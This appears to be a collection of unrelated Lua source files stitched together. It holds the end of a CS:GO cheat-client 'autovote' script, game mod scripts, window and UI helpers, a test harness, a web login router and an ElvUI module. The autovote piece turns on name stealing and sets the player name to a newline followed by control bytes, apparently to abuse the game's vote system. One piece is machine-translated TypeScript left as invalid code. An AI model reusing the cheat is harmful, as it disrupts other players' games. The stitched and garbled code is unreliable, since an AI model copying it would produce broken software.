renderer_text(x, y + 8 * 5, 255, 255, 255, 255, nil, 0, "SwapTeams_duration: " .. string_format("%.2f", i_autovote_eVoteCast_tSwapTeams_duration))
renderer_text(x, y + 8 * 6, 255, 255, 255, 255, nil, 0, "ChangeLevel_duration: " .. string_format("%.2f", i_autovote_eVoteCast_tChangeLevel_duration))
renderer_text(x, y + 8 * 7, 255, 255, 255, 255, nil, 0, "Any_duration: " .. string_format("%.2f", i_autovote_eVoteCast_tAny_duration))
renderer_text(x, y + 8 * 8, 255, 255, 255, 255, nil, 0, "Any_limit: " .. string_format("%.2f", i_autovote_eVoteCast_tAny_limit))
renderer_text(x, y + 8 * 9, 255, 255, 255, 255, nil, 0, "Any_overall: " .. string_format("%.2f", i_autovote_eVoteCast_tAny_limit - i_autovote_eVoteCast_tAny_duration))
renderer_text(x, y + 8 * 11, 255, 255, 255, 255, nil, 0, "SwapTeams_cooldown: " .. tostring(b_autovote_tSwapTeams_cooldown))
renderer_text(x, y + 8 * 12, 255, 255, 255, 255, nil, 0, "ChangeLevel_cooldown: " .. tostring(b_autovote_tChangeLevel_cooldown))
renderer_text(x, y + 8 * 13, 255, 255, 255, 255, nil, 0, "Any_cooldown: " .. tostring(b_autovote_tAny_cooldown))
renderer_text(x, y + 8 * 14, 255, 255, 255, 255, nil, 0, "voteOptions: " .. table_concat(t_autovote_voteOptions, ", "))
end
local i_autovote_absPosX = math_floor(i_autovote_scrWidth * (ui_get(i_autovote_relPosX) / 100))
local i_autovote_absPosY = math_floor(i_autovote_scrHeight * (ui_get(i_autovote_relPosY) / 100))
local i_autovote_absSizeX = math_floor(i_autovote_scrWidth * (ui_get(i_autovote_relSizeX) / 100))
local i_autovote_absSizeY = math_floor(i_autovote_scrHeight * (ui_get(i_autovote_relSizeY) / 100))
if ui.is_menu_open() then
renderer_rectangle((i_autovote_absPosX - i_autovote_absSizeX / 2), i_autovote_absPosY - i_autovote_absSizeY / 2, i_autovote_absSizeX, i_autovote_absSizeY, 0, 0, 0, 127)
renderer_text(i_autovote_absPosX - i_autovote_absSizeX / 2 + 64, i_autovote_absPosY, 255, 255, 255, 255, "c", 0, string_format("%d", i_autovote_absSizeX) .. "x" .. string_format("%d", i_autovote_absSizeY) .. " [" .. string_format("%d", i_autovote_absPosX) .. ", " .. string_format("%d", i_autovote_absPosY) .. "]")
renderer.line(i_autovote_absPosX - i_autovote_absSizeX / 2, i_autovote_absPosY - i_autovote_absSizeY / 2, i_autovote_absPosX - i_autovote_absSizeX / 2 + 3, i_autovote_absPosY - i_autovote_absSizeY / 2, 255, 255, 255, 255)
renderer.line(i_autovote_absPosX - i_autovote_absSizeX / 2, i_autovote_absPosY - i_autovote_absSizeY / 2, i_autovote_absPosX - i_autovote_absSizeX / 2, i_autovote_absPosY - i_autovote_absSizeY / 2 + 3, 255, 255, 255, 255)
renderer.line(i_autovote_absPosX - i_autovote_absSizeX / 2, i_autovote_absPosY + i_autovote_absSizeY / 2, i_autovote_absPosX - i_autovote_absSizeX / 2 + 3, i_autovote_absPosY + i_autovote_absSizeY / 2, 255, 255, 255, 255)
renderer.line(i_autovote_absPosX - i_autovote_absSizeX / 2, i_autovote_absPosY + i_autovote_absSizeY / 2, i_autovote_absPosX - i_autovote_absSizeX / 2, i_autovote_absPosY + i_autovote_absSizeY / 2 - 3, 255, 255, 255, 255)
renderer.line(i_autovote_absPosX + i_autovote_absSizeX / 2, i_autovote_absPosY - i_autovote_absSizeY / 2, i_autovote_absPosX + i_autovote_absSizeX / 2 - 3, i_autovote_absPosY - i_autovote_absSizeY / 2, 255, 255, 255, 255)
renderer.line(i_autovote_absPosX + i_autovote_absSizeX / 2, i_autovote_absPosY - i_autovote_absSizeY / 2, i_autovote_absPosX + i_autovote_absSizeX / 2, i_autovote_absPosY - i_autovote_absSizeY / 2 + 3, 255, 255, 255, 255)
renderer.line(i_autovote_absPosX + i_autovote_absSizeX / 2, i_autovote_absPosY + i_autovote_absSizeY / 2, i_autovote_absPosX + i_autovote_absSizeX / 2 - 3, i_autovote_absPosY + i_autovote_absSizeY / 2, 255, 255, 255, 255)
renderer.line(i_autovote_absPosX + i_autovote_absSizeX / 2, i_autovote_absPosY + i_autovote_absSizeY / 2, i_autovote_absPosX + i_autovote_absSizeX / 2, i_autovote_absPosY + i_autovote_absSizeY / 2 - 3, 255, 255, 255, 255)
end
if i_autovote_eVoteCast_tAny_duration > 0 then
renderer_rectangle((i_autovote_absPosX - i_autovote_absSizeX / 2) + (i_autovote_absSizeX / 2) * (1 - ((i_autovote_eVoteCast_tAny_limit - i_autovote_eVoteCast_tAny_duration) / (i_autovote_eVoteCast_tAny_limit))), i_autovote_absPosY - i_autovote_absSizeY / 2, i_autovote_absSizeX * ((i_autovote_eVoteCast_tAny_limit - i_autovote_eVoteCast_tAny_duration) / (i_autovote_eVoteCast_tAny_limit)), i_autovote_absSizeY, 0, 0, 0, 127)
renderer_text(i_autovote_absPosX, i_autovote_absPosY, 255, 255, 255, 255, "c", 0, "Autovote cooldown: " .. string_format("%.2f", i_autovote_eVoteCast_tAny_limit - i_autovote_eVoteCast_tAny_duration))
else
if b_autovote_tSwapTeams_cooldown or b_autovote_tChangeLevel_cooldown then
renderer_text(i_autovote_absPosX, i_autovote_absPosY, 0, 255, 0, 255, "c", 0, "x1 Autovote available!")
else
renderer_text(i_autovote_absPosX, i_autovote_absPosY, 0, 255, 0, 255, "c", 0, "x2 Autovote available!")
end
end
if i_autovote_eVoteCast_tAny_limit - i_autovote_eVoteCast_tAny_duration > 0 and i_autovote_eVoteCast_tAny_limit - i_autovote_eVoteCast_tAny_duration < 1 and ui_get(b_autovote_keepVoteName) then
client_set_cvar("name", entIndex_localEntCCSPlayer_pName)
end
end
function func_autovote_setup_delayCall()
client_set_cvar("name", entIndex_localEntCCSPlayer_pName)
end
function func_autovote_setup()
if ui_get(b_autovote_enable) then
client_exec("clear")
ui_set(ref_autovote_stealPlayerName, true)
client_set_cvar("name", "\n\xAD\xAD\xAD\xAD")
client_exec("status")
client_delay_call(0.5, func_autovote_setup_delayCall)
else
client_set_cvar("name", entIndex_localEntCCSPlayer_pName)
end
end
func_autovote_setup()
ui_set_callback(b_autovote_enable, func_autovote_setup)
client_set_event_callback("player_connect_full", func_autovote_ePlayerConnectFull)
client_set_event_callback("vote_cast", func_autovote_eVoteCast)
client_set_event_callback("vote_options", func_autovote_eVoteOptions)
client_set_event_callback("paint", func_autovote_eDraw)
-- [End of file] ------------------------------------------------------------------------------------------------------- |
-----------------------------------
-- Area: Throne Room
-- Mob: Zeid (Phase 2)
-- Mission 9-2 BASTOK BCNM Fight
-----------------------------------
mixins = {require("scripts/mixins/job_special")}
require("scripts/globals/monstertpmoves")
require("scripts/globals/settings")
require("scripts/globals/titles")
require("scripts/globals/status")
-----------------------------------
function onMobSpawn(mob)
tpz.mix.jobSpecial.config(mob, {
specials =
{
{id = tpz.jsa.BLOOD_WEAPON, hpp = math.random(20, 50)},
},
})
end
function onMobFight(mob, target)
local zeid = mob:getID()
local shadow1 = GetMobByID(zeid + 1)
local shadow2 = GetMobByID(zeid + 2)
if mob:getHPP() <= 77 and mob:getTP() >= 1000 and shadow1:isDead() and shadow2:isDead() then
mob:useMobAbility(984)
end
end
function onMobDeath(mob, player, isKiller)
mob:getBattlefield():setLocalVar("loot", 0)
DespawnMob(mob:getID()+1)
DespawnMob(mob:getID()+2)
end
|
local TRIGGER = script:GetCustomProperty("Trigger"):WaitForObject()
local FADE_OUT = script:GetCustomProperty("FadeOut")
local FADE_IN = script:GetCustomProperty("FadeIn")
function OnBeginOverlap(trigger, other)
if other:IsA("Player") then
local fadeOut = World.SpawnAsset(FADE_OUT)
Task.Wait(3)
Events.BroadcastToServer("TeleportPlayer")
local fadeIn = World.SpawnAsset(FADE_IN)
end
end
TRIGGER.interactedEvent:Connect(OnBeginOverlap) |
--
---WARNING: deprecated
---该函数未指定窗口化分辨率,请使用ChangeVideoMode
---设置窗口化(true)/非窗口化(false)
---@param b boolean
function SetWindowed(b)
end
---设置窗口大小
---可以在运行时动态设置
---@param width number
---@param height number
function SetResolution(width, height)
local w = lstg.WindowHelperDesktop:getInstance()
if w and not w:isFullscreen() then
w:setSize(cc.size(width, height))
end
end
---改变视频选项。若成功返回true,否则返回false
---@param width number
---@param height number
---@param windowed boolean
---@param vsync boolean
function ChangeVideoMode(width, height, windowed, vsync)
local w = lstg.WindowHelperDesktop:getInstance()
if w then
if windowed then
w:setSize(cc.size(width, height))
else
w:setFullscreen()
end
w:setVsync(vsync)
SystemLog(string.format(
'change video mode to: (%d, %d), %s, %s',
width, height,
windowed and 'Windowed' or 'FullScreen',
vsync and 'VSync On' or 'VSync Off'))
w:moveToCenter()
return true
else
return false
end
end
---设置是否显示光标,默认显示
---@param b boolean
function SetSplash(b)
local w = lstg.WindowHelperDesktop:getInstance()
if w then
w:setCursorVisible(b)
end
end
---设置窗口标题
---默认为"LuaSTG-x"
---@param title string
function SetTitle(title)
local w = lstg.WindowHelperDesktop:getInstance()
if w then
w:setTitle(title)
--Print('set title to '..title)
end
end
|
local CONST = require "libs.constants"
local LUME = require "libs.lume"
local M = {}
local EMPTY_COLOR = 0x000000
M.WIDTH = CONST.WINDOW_WIDTH
M.HEIGHT = CONST.WINDOW_HEIGHT
M.BUFFER = buffer.create(M.WIDTH * M.HEIGHT, { {name=hash("rgb"), type=buffer.VALUE_TYPE_UINT8, count=3} } )
native_raycasting.set_buffer(M.WIDTH, M.HEIGHT, M.BUFFER)
native_raycasting.update_plane(0, 0, M.WIDTH, M.HEIGHT)
native_raycasting.set_camera_fov(CONST.FOV)
return M |
local p = premake
newaction
{
trigger = "hivemind",
shortname = "Hivemind Distributed Compile",
description = "Generate Hivemind Distributed Compile Commands",
toolset = "msc-v142",
valid_kinds = { "ConsoleApp", "StaticLib", "SharedLib" },
valid_languages = { "C", "C++"},
valid_tools = {
cc = { "msc" },
},
onWorkspace = function(wks)
p.modules.hivemind.generateWorkspace(wks)
end,
onProject = function(prj)
p.modules.hivemind.generateProject(prj)
end,
onCleanWorkspace = function(wks)
p.modules.hivemind.cleanWorkspace(wks)
end,
onCleanProject = function(prj)
p.modules.hivemind.cleanProject(prj)
end,
onCleanTarget = function(prj)
p.modules.hivemind.cleanTarget(prj)
end,
}
return function(cfg)
return (_ACTION == "hivemind")
end
|
local globals = {}
--- w = width, d = depth
globals.terrain_dimensions = function (w, d) return { width = w, depth = d } end
globals.vector2 = function (v_x, v_y) return { x = v_x, y = v_y } end
globals.vector3 = function (v_x, v_y, v_z) return { x = v_x, y = v_y, z = v_z } end
globals.color3 = function (c_r, c_g, c_b) return { r = c_r, g = c_g, v = c_b } end
globals.quaternion = function (r_x, r_y, r_z) return { x = r_x, y = r_y, z = r_z } end
globals.initialize_terrain_base = function (base_name, dimensions_wd)
--- Call internal function
internal_initialize_terrain_base(base_name,
dimensions_wd.width, dimensions_wd.depth)
end
globals.initialize_terrain_instance = function (base_name, position_xyz, rotation_xyz, size_f, color_rgb, gravity_f)
internal_initialize_terrain_instance(base_name,
position_xyz.x, position_xyz.y, position_xyz.z,
rotation_xyz.x, rotation_xyz.y, rotation_xyz.z,
size_f,
color_rgb.r, color_rgb.g, color_rgb.b,
gravity_f)
end
---globals.initialize_entity = function (entity_name, position_xyz, direction_xyz, size_f, is_main_b)
--- internal_initialize_entity(entity_name,
--- position_xyz.x, position_xyz.y, position_xyz.z,
--- direction_xyz.x, direction_xyz.y, direction_xyz.z,
--- size_f,
--- is_main_b)
---end
---
---globals.attach_rendering_component = function (entity_name, roughness, metalness, color_rgb)
--- internal_attach_rendering_component(entity_name,
--- roughness,
--- metalness,
--- color_rgb.r, color_rgb.g, color_rgb.b)
---end
---
---globals.attach_animation_component = function (entity_name)
--- internal_attach_animation_component(entity_name)
---end
---
---globals.attach_physics_component = function (entity_name, enabled_b)
--- internal_attach_physics_component(entity_name, enabled_b)
---end
---
---globals.attach_camera_component = function (entity_name, is_third_person_b)
--- internal_attach_physics_component(entity_name, is_third_person_b)
---end
---
---globals.attach_input_component = function (entity_name)
--- internal_attach_input_component(entity_name)
---end
---
---globals.bind_camera_to_3d_output = function (entity_name)
--- internal_bind_camera_to_3d_output(entity_name)
---end
return globals
|
ChatCmdBuilder.new("info", function(cmd)
cmd:sub(":target", function(name, target)
local player = minetest.get_player_by_name(target)
local realName
if not player then
return false, "Please chose valid player name"
else
return true, target.."'s real name is '"..rn.data:get_string(target)
end
end)
cmd:sub("", function(caller)
local realName = rn.data:get_string(caller)
return true, "Your Real Name is: "..realName
end)
end,
{
params = "<player>",
description = "Get the real name of a player",
}
)
ChatCmdBuilder.new("change", function(cmd)
cmd:sub(":target", function(name, target)
local player = minetest.get_player_by_name(target)
if not player then
return false, "Please chose valid player name"
else
minetest.show_formspec(target, "real_names:form", rn.form)
end
end)
cmd:sub("", function(caller)
local player = minetest.get_player_by_name(caller)
if not player then
return false, "You must be online to do this"
else
minetest.show_formspec(caller, "real_names:form", rn.form)
end
end)
cmd:sub(":target :firstname :lastname", function(caller, target, firstname, lastname)
local player = minetest.get_player_by_name(target)
local newname = firstname.." "..lastname
local original_name = rn.data:get_string(target)
if not player then
return false, "Please chose valid player name"
else
rn.data:set_string(player:get_player_name(), newname)
minetest.chat_send_all(rn.data:get_string(target)..", "..newname)
if rn.data:get_string(target) == tostring(newname) then
minetest.chat_send_player(target, "Your name has been changed to "..newname)
return true, target.."'s name successfully set to "..newname
else
rn.data:set_string(player:get_player_name(), original_name)
return false, "Something went wrong, name reset to orginal"
end
end
end)
end,
{
params = "<player> |<new name>|",
description = "Send a gender and name change or sets players name to <new name>",
privs = {
change_name = true
},
}
)
|
require("shared/src/makeMap")
local specialBooleanAttrs = nil
local isSpecialBooleanAttr = makeMap(specialBooleanAttrs)
local isBooleanAttr = makeMap(specialBooleanAttrs + + + )
-- [ts2lua]tslua无法自动转换正则表达式,请手动处理。
local unsafeAttrCharRE = /[>/="'\u0009\u000a\u000c\u0020]/
local attrValidationCache = {}
function isSSRSafeAttrName(name)
if attrValidationCache:hasOwnProperty(name) then
-- [ts2lua]attrValidationCache下标访问可能不正确
return attrValidationCache[name]
end
local isUnsafe = unsafeAttrCharRE:test(name)
if isUnsafe then
console:error()
end
-- [ts2lua]attrValidationCache下标访问可能不正确
return attrValidationCache[name] = not isUnsafe
end
local propsToAttrMap = {acceptCharset='accept-charset', className='class', htmlFor='for', httpEquiv='http-equiv'}
local isNoUnitNumericStyleProp = makeMap( + + + + + + + )
local isKnownAttr = makeMap( + + + + + + + + + + + + + + ) |
--[[
Framework Unit Testing
Performs unit testing on parts of the engine
]]
local lib
local unit
unit = {
test = function(self)
local out = ""
for name, test in next, self.tests do
out = out .. "\byellow\bRUNNING TEST \"" .. name:upper() .. "\"...\n"
out = out .. self:report_suite(name) .. "\n"
end
out = out:sub(1, -2)
return out
end,
report_suite = function(self, suite_name)
return self:generate_report(self:run_suite(suite_name))
end,
generate_report = function(self, out)
local report = ""
local success = lib.utility.table_pop(out)
for name, result in next, out do
report = report .. "\bwhite\b TEST \bblue\b" .. name:upper() .. ": "
if (result) then
report = report .. "\bgreen\b" .. "SUCCESS"
else
report = report .. "\bred\b" .. "FAIL"
end
report = report .. "\n"
end
if (success) then
report = report .. "\bgreen\bSUITE SUCCESS"
else
report = report .. "\bred\bSUITE FAIL"
end
return report
end,
run_suite = function(self, suite_name)
local suite = self.tests[suite_name]
local out = {}
if (suite) then
local test_start = lib.utility.table_pop(suite, "start")
local test_end = lib.utility.table_pop(suite, "end")
if (test_start) then
test_start()
end
for name, test in next, suite do
out[name] = self:run_test(test)
end
out[1] = not lib.utility.table_contains(out, false)
if (test_end) then
test_end()
end
return out
else
return false
end
end,
evaluate = function(self, test_component)
if (test_component) then
local safe_component = {unpack(test_component)}
local first = safe_component[1]
if (type(first) == "function") then
lib.utility.table_pop(safe_component)
local result = {pcall(first, unpack(safe_component))}
if (lib.utility.table_pop(result)) then --checks for call success and removes it from the result table
return result
else
return false
end
else
return safe_component
end
else
return false
end
end,
run_test = function(self, test)
local first = self:evaluate(test[1])
local second = self:evaluate(test[2])
if (first and second) then
return lib.utility.table_equals(first, second, true)
end
end,
init = function(self, engine)
lib = engine.lib
local utility = lib.utility
self.tests = {
utility = {
["string split single"] = {{utility.string_split, "a,b,c", ","}, {{"a", "b", "c"}}},
["string split multi"] = {{utility.string_split, "XasdYasdZ", "asd"}, {{"X", "Y", "Z"}}},
["table contains"] = {{utility.table_contains, {1, 2, 3}, 3}, {true}},
["table not contains"] = {{utility.table_contains, {1, 2, 3}, 4}, {false}},
["table equals"] = {{utility.table_equals, {1, 2, 3}, {1, 2, 3}}, {true}},
["table not equals"] = {{utility.table_equals, {1, 2, 3}, {3, 2, 1}}, {false}},
["table pop"] = {{utility.table_pop, {1, 2, 3}}, {1, {2, 3}}},
["table pop numeric"] = {{utility.table_pop, {1, 2, 3}, 2}, {2, {1, 3}}},
["table pop string"] = {{utility.table_pop, {a = 1, b = 2, c = 3}, "a"}, {1, {b = 2, c = 3}}},
["table deep copy"] = {{utility.table_deepcopy, {1, 2, 3}}, {{1, 2, 3}}},
["table deep copy to"] = {{utility.table_deepcopy, {1, 2, 3}, {4, 5, 6}}, {{1, 2, 3, 4, 5, 6}}},
["table copy"] = {{utility.table_copy, {1, 2, 3}}, {{1, 2, 3}}},
["table merge"] = {{utility.table_merge, {3, 3, 3, 4, 5}, {1, 2, 3}}, {{1, 2, 3, 4, 5}}},
["table size numeric"] = {{utility.table_size, {1, 2, 3}}, {3}},
["table size arbitrary"] = {{utility.table_size, {a = 1, b = 2, c = 3}}, {3}}
}
}
end
}
return unit |
local pairs = pairs
local ipairs = ipairs
local smatch = string.match
local ssub = string.sub
local slen = string.len
local cjson = require("cjson")
local utils = require("app.libs.utils")
local pwd_secret = require("app.config.config").pwd_secret
local lor = require("lor.index")
local user_model = require("app.model.user")
local auth_router = lor:Router()
auth_router:get("/login", function(req, res, next)
res:render("login")
end)
auth_router:get("/sign_up", function(req, res, next)
res:render("sign_up")
end)
auth_router:post("/sign_up", function(req, res, next)
local username = req.body.username
local password = req.body.password
local pattern = "^[a-zA-Z][0-9a-zA-Z_]+$"
local match, err = smatch(username, pattern)
if not username or not password or username == "" or password == "" then
return res:json({
success = false,
msg = "用户名和密码不得为空."
})
end
local username_len = slen(username)
local password_len = slen(password)
if username_len<4 or username_len>50 then
return res:json({
success = false,
msg = "用户名长度应为4~50位."
})
end
if password_len<6 or password_len>50 then
return res:json({
success = false,
msg = "密码长度应为6~50位."
})
end
if not match then
return res:json({
success = false,
msg = "用户名只能输入字母、下划线、数字,必须以字母开头."
})
end
local result, err = user_model:query_by_username(username)
local isExist = false
if result and not err then
isExist = true
end
if isExist == true then
return res:json({
success = false,
msg = "用户名已被占用,请修改."
})
else
password = utils.encode(password .. "#" .. pwd_secret)
local avatar = ssub(username, 1, 1) .. ".png" --取首字母作为默认头像名
local result, err = user_model:new(username, password, avatar)
if result and not err then
return res:json({
success = true,
msg = "注册成功."
})
else
return res:json({
success = false,
msg = "注册失败."
})
end
end
end)
auth_router:post("/login", function(req, res, next)
local username = req.body.username
local password = req.body.password
if not username or not password or username == "" or password == "" then
return res:json({
success = false,
msg = "用户名和密码不得为空."
})
end
local isExist = false
local userid = 0
password = utils.encode(password .. "#" .. pwd_secret)
local result, err = user_model:query(username, password)
local user = {}
if result and not err then
if result and #result == 1 then
isExist = true
user = result[1]
userid = user.id
end
else
isExist = false
end
if isExist == true then
req.session.set("user", {
username = username,
userid = userid,
create_time = user.create_time or ""
})
return res:json({
success = true,
msg = "登录成功."
})
else
return res:json({
success = false,
msg = "用户名或密码错误,请检查!"
})
end
end)
auth_router:get("/logout", function(req, res, next)
res.locals.login = false
res.locals.username = ""
res.locals.userid = 0
res.locals.create_time = ""
req.session.destroy()
res:redirect("/index")
end)
return auth_router
|
sizeTerm = {
termX1 = 0,
termY1 = 0,
termX2 = 0,
termY2 = 0,
setCursorPos = function(self, cursorX, cursorY)
newPosX = termX1 + cursorX
newPosY = termY1 + cursorY
if newPosX <= termX2 and newPosY <= termY2 then
term.setCursorPos(newPosX, newPosY)
end
return nil
end,
blit = function(txt, color, backround_color)
|
local E, L, V, P, G = unpack(select(2, ...)); --Import: Engine, Locales, PrivateDB, ProfileDB, GlobalDB
local UF = E:GetModule('UnitFrames');
--Cache global variables
--Lua functions
local unpack = unpack
--WoW API / Variables
local CreateFrame = CreateFrame
function UF:Construct_RaidDebuffs(frame)
local rdebuff = CreateFrame('Frame', nil, frame.RaisedElementParent)
rdebuff:SetTemplate("Default", nil, nil, UF.thinBorders, true)
rdebuff:SetFrameLevel(frame.RaisedElementParent:GetFrameLevel() + 20) --Make them appear above regular buffs or debuffs
local offset = UF.thinBorders and E.mult or E.Border
rdebuff.icon = rdebuff:CreateTexture(nil, 'OVERLAY')
rdebuff.icon:SetTexCoord(unpack(E.TexCoords))
rdebuff.icon:SetInside(rdebuff, offset, offset)
rdebuff.count = rdebuff:CreateFontString(nil, 'OVERLAY')
rdebuff.count:FontTemplate(nil, 10, 'OUTLINE')
rdebuff.count:Point('BOTTOMRIGHT', 0, 2)
rdebuff.count:SetTextColor(1, .9, 0)
rdebuff.time = rdebuff:CreateFontString(nil, 'OVERLAY')
rdebuff.time:FontTemplate(nil, 10, 'OUTLINE')
rdebuff.time:Point('CENTER')
rdebuff.time:SetTextColor(1, .9, 0)
return rdebuff
end
function UF:Configure_RaidDebuffs(frame)
if not frame.VARIABLES_SET then return end
local db = frame.db
local rdebuffs = frame.RaidDebuffs
local stackColor = db.rdebuffs.stack.color
local durationColor = db.rdebuffs.duration.color
if db.rdebuffs.enable then
local rdebuffsFont = UF.LSM:Fetch("font", db.rdebuffs.font)
if not frame:IsElementEnabled('RaidDebuffs') then
frame:EnableElement('RaidDebuffs')
end
rdebuffs.showDispellableDebuff = db.rdebuffs.showDispellableDebuff
rdebuffs.onlyMatchSpellID = db.rdebuffs.onlyMatchSpellID
rdebuffs.forceShow = frame.forceShowAuras
rdebuffs:Size(db.rdebuffs.size)
rdebuffs:Point('BOTTOM', frame, 'BOTTOM', db.rdebuffs.xOffset, db.rdebuffs.yOffset + frame.SPACING)
rdebuffs.count:FontTemplate(rdebuffsFont, db.rdebuffs.fontSize, db.rdebuffs.fontOutline)
rdebuffs.count:ClearAllPoints()
rdebuffs.count:Point(db.rdebuffs.stack.position, db.rdebuffs.stack.xOffset, db.rdebuffs.stack.yOffset)
rdebuffs.count:SetTextColor(stackColor.r, stackColor.g, stackColor.b, stackColor.a)
rdebuffs.time:FontTemplate(rdebuffsFont, db.rdebuffs.fontSize, db.rdebuffs.fontOutline)
rdebuffs.time:ClearAllPoints()
rdebuffs.time:Point(db.rdebuffs.duration.position, db.rdebuffs.duration.xOffset, db.rdebuffs.duration.yOffset)
rdebuffs.time:SetTextColor(durationColor.r, durationColor.g, durationColor.b, durationColor.a)
elseif frame:IsElementEnabled('RaidDebuffs') then
frame:DisableElement('RaidDebuffs')
rdebuffs:Hide()
end
end
|
--[[
TheNexusAvenger
Main module representing the button class. This button
is meant to provide an easy way to make "good looking",
cross platform buttons.
--]]
--The amount cut on the top left and bottom right corners.
local CORNER_CUT_BACKGROUND_RELATIVE = 0.3
--Color multiplier when hovering.
local HOVER_COLOR_MULTIPLIER = 0.7
--Color multiplier when clicking.
local CLICK_COLOR_MULTIPLIER = 1/0.7
--The color of the last section for controllers.
local CONTROLLER_SECTION_COLOR = Color3.new(50/255,50/255,50/255)
local ColoredCutFrame = require(script:WaitForChild("Gui"):WaitForChild("ColoredCutFrame"))
local ControllerIcon = require(script:WaitForChild("Gui"):WaitForChild("ControllerIcon"))
local BaseButton = require(script:WaitForChild("Gui"):WaitForChild("BaseButton"))
local NexusInstance = require(script:WaitForChild("NexusInstance"):WaitForChild("NexusInstance"))
local NexusButton = NexusInstance:Extend()
NexusButton:SetClassName("NexusButton")
--[[
Multiplies a Color3.
--]]
local function MultiplyColor3(Color,Multiplier)
--Multiply the R,G,B values.
local NewR,NewG,NewB = Color.r * Multiplier,Color.g * Multiplier,Color.b * Multiplier
--Clamp the values.
NewR = math.clamp(NewR,0,1)
NewG = math.clamp(NewG,0,1)
NewB = math.clamp(NewB,0,1)
--Return the color.
return Color3.new(NewR,NewG,NewB)
end
--[[
Multiplies a ColorSequence.
--]]
local function MultiplyColorSequence(Sequence,Multiplier)
local Keypoints = {}
--Multiply the keypoints.
for _,Keypoint in pairs(Sequence.Keypoints) do
local MultipliedColor = MultiplyColor3(Keypoint.Value,Multiplier)
table.insert(Keypoints,ColorSequenceKeypoint.new(Keypoint.Time,MultipliedColor))
end
--Return the new color sequence.
return ColorSequence.new(Keypoints)
end
--[[
Truncates a color sequence at a given time and
sets the color sequence to the color.
--]]
local function TruncateColorSequence(Sequence,Time,FinalColor)
local Keypoints = {}
--Truncate the keypoints.
for _,Keypoint in pairs(Sequence.Keypoints) do
if Keypoint.Time < Time then
table.insert(Keypoints,Keypoint)
end
end
--Add the new keypooints.
table.insert(Keypoints,ColorSequenceKeypoint.new(Time,FinalColor))
table.insert(Keypoints,ColorSequenceKeypoint.new(1,FinalColor))
--Return the new color sequence.
return ColorSequence.new(Keypoints)
end
--[[
Creates a Nexus Button object.
--]]
function NexusButton:__new()
self:InitializeSuper()
self.__Hovered = false
self.__Clicked = false
self.BorderSizePixel = 0
self.TopLeftCutEnabled = true
self.BottomRightCutEnabled = true
self.__Events = {}
--Create the button as the adorn frame.
local AdornButton = BaseButton.new()
local AdornFrame = AdornButton.BaseFrame
local LogicalAdornFrame = AdornButton.LogicalFrame
LogicalAdornFrame.BackgroundTransparency = 1
self.AdornButton = AdornButton
self.AdornFrame = AdornFrame
self.LogicalAdornFrame = LogicalAdornFrame
rawset(self.object,"AdornFrame",self.AdornFrame)
rawset(self.object,"LogicalAdornFrame",self.LogicalAdornFrame)
--Create the border adorn and cut frames.
local BorderAdorn = Instance.new("Frame")
BorderAdorn.BackgroundTransparency = 1
BorderAdorn.Parent = AdornFrame
self.BorderAdorn = BorderAdorn
--Create the contents adorn.
local ContentsAdorn = Instance.new("Frame")
ContentsAdorn.BackgroundTransparency = 1
ContentsAdorn.Size = UDim2.new(1,0,1,0)
ContentsAdorn.ZIndex = 5
ContentsAdorn.Parent = AdornFrame
self.ContentsAdorn = ContentsAdorn
--Create the gamepad icon.
local GamepadIcon = ControllerIcon.new()
GamepadIcon.AdornFrame.Size = UDim2.new(1,0,1,0)
GamepadIcon.AdornFrame.Position = UDim2.new(1,0,0,0)
GamepadIcon.AdornFrame.SizeConstraint = "RelativeYY"
GamepadIcon.AdornFrame.AnchorPoint = Vector2.new(1,0)
GamepadIcon.AdornFrame.ZIndex = 5
GamepadIcon.AdornFrame.Parent = AdornFrame
self.GamepadIcon = GamepadIcon
--Create the cut frames.
self.BorderCutFrame = ColoredCutFrame.new(BorderAdorn)
self.BackgroundCutFrame = ColoredCutFrame.new(AdornFrame)
self.BackgroundCutFrame.ZIndex = 2
--Set up the events.
table.insert(self.__Events,LogicalAdornFrame.MouseEnter:Connect(function()
self.__Hovered = true
self:__UpdateColors()
end))
table.insert(self.__Events,LogicalAdornFrame.MouseLeave:Connect(function()
self.__Hovered = false
self:__UpdateColors()
end))
table.insert(self.__Events,AdornButton.MouseButton1Down:Connect(function()
self.__Clicked = true
self:__UpdateColors()
end))
table.insert(self.__Events,AdornButton.MouseButton1Up:Connect(function()
self.__Clicked = false
self:__UpdateColors()
end))
--Remap the events.
self.MouseButton1Down = AdornButton.MouseButton1Down
self.MouseButton1Click = AdornButton.MouseButton1Click
self.MouseButton1Up = AdornButton.MouseButton1Up
self.MouseButton2Down = AdornButton.MouseButton2Down
self.MouseButton2Click = AdornButton.MouseButton2Click
self.MouseButton2Up = AdornButton.MouseButton2Up
--Set up replication.
local CustomReplication = {}
self:AddGenericPropertyFinalizer(function(Index,Value)
--Fire a custom replication method.
local ReplicationMethod = CustomReplication[Index]
if ReplicationMethod then
ReplicationMethod()
return
end
--Replicate to the instance.
LogicalAdornFrame[Index] = Value
end)
table.insert(self.__Events,LogicalAdornFrame.Changed:Connect(function(PropertyName)
local ExistingValue,NewProperty = self[PropertyName],LogicalAdornFrame[PropertyName]
if self[PropertyName] ~= nil and ExistingValue ~= NewProperty then
self[PropertyName] = NewProperty
end
end))
--Add custom replication overrides.
CustomReplication["__Hovered"] = function() end
CustomReplication["__Clicked"] = function() end
CustomReplication["__Events"] = function() end
CustomReplication["AutoButtonColor"] = function()
self:__UpdateColors()
end
CustomReplication["BackgroundColor3"] = function()
self:__UpdateColors()
end
CustomReplication["BorderColor3"] = function()
self.BorderCutFrame.BackgroundColor3 = self.BorderColor3
end
CustomReplication["BorderSizePixel"] = function()
BorderAdorn.Size = UDim2.new(1,0,1 + self.BorderSizeScale,self.BorderSizePixel)
self:__UpdateCuts()
end
CustomReplication["BorderSizeScale"] = function()
BorderAdorn.Size = UDim2.new(1,0,1 + self.BorderSizeScale,self.BorderSizePixel)
self:__UpdateCuts()
end
CustomReplication["BackgroundTransparency"] = function()
self.BackgroundCutFrame.BackgroundTransparency = self.BackgroundTransparency
end
CustomReplication["BorderTransparency"] = function()
self.BorderCutFrame.BackgroundTransparency = self.BorderTransparency
end
CustomReplication["TopLeftCutEnabled"] = function()
self:__UpdateCuts()
end
CustomReplication["BottomRightCutEnabled"] = function()
self:__UpdateCuts()
end
--Set up events.
table.insert(self.__Events,LogicalAdornFrame:GetPropertyChangedSignal("AbsoluteSize"):Connect(function()
if self.GamepadIcon.IconVisible then
self:__UpdateColors()
end
end))
table.insert(self.__Events,BorderAdorn:GetPropertyChangedSignal("AbsoluteSize"):Connect(function()
